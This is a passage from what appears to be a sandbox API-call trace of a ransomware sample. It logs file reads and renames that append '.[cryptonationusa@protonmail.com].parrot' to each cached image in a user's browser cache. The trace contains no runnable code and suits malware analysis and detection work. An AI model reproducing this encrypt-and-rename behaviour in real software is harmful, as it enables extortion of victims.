(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.420] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.420] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.422] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.422] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x33a8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x33a8, lpOverlapped=0x0) returned 1 [0078.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.423] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.423] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.426] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.427] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.428] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.428] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x738, lpOverlapped=0x0) returned 1 [0078.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.429] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.429] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.432] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.432] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.434] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.434] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17a5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x17a5, lpOverlapped=0x0) returned 1 [0078.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.435] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.435] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.439] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.439] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.441] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.441] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2720, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2720, lpOverlapped=0x0) returned 1 [0078.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.442] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.445] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.445] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.446] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.446] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x522, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x522, lpOverlapped=0x0) returned 1 [0078.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.447] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.447] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.449] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.449] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.451] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.451] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x188f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x188f, lpOverlapped=0x0) returned 1 [0078.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.452] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.452] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.467] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.467] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.468] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.468] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7fe, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7fe, lpOverlapped=0x0) returned 1 [0078.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.469] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.469] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.472] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.472] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.474] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.474] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x320d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x320d, lpOverlapped=0x0) returned 1 [0078.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.475] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.475] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.478] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.478] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.480] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.480] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x28f2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x28f2, lpOverlapped=0x0) returned 1 [0078.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.481] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.485] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.485] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.495] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.495] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x83c, lpOverlapped=0x0) returned 1 [0078.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.495] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.496] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.499] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.499] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.500] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.500] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x968, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x968, lpOverlapped=0x0) returned 1 [0078.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.501] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.501] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.507] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.507] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.508] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.509] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8d4, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x8d4, lpOverlapped=0x0) returned 1 [0078.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.509] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.509] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.512] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.512] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, 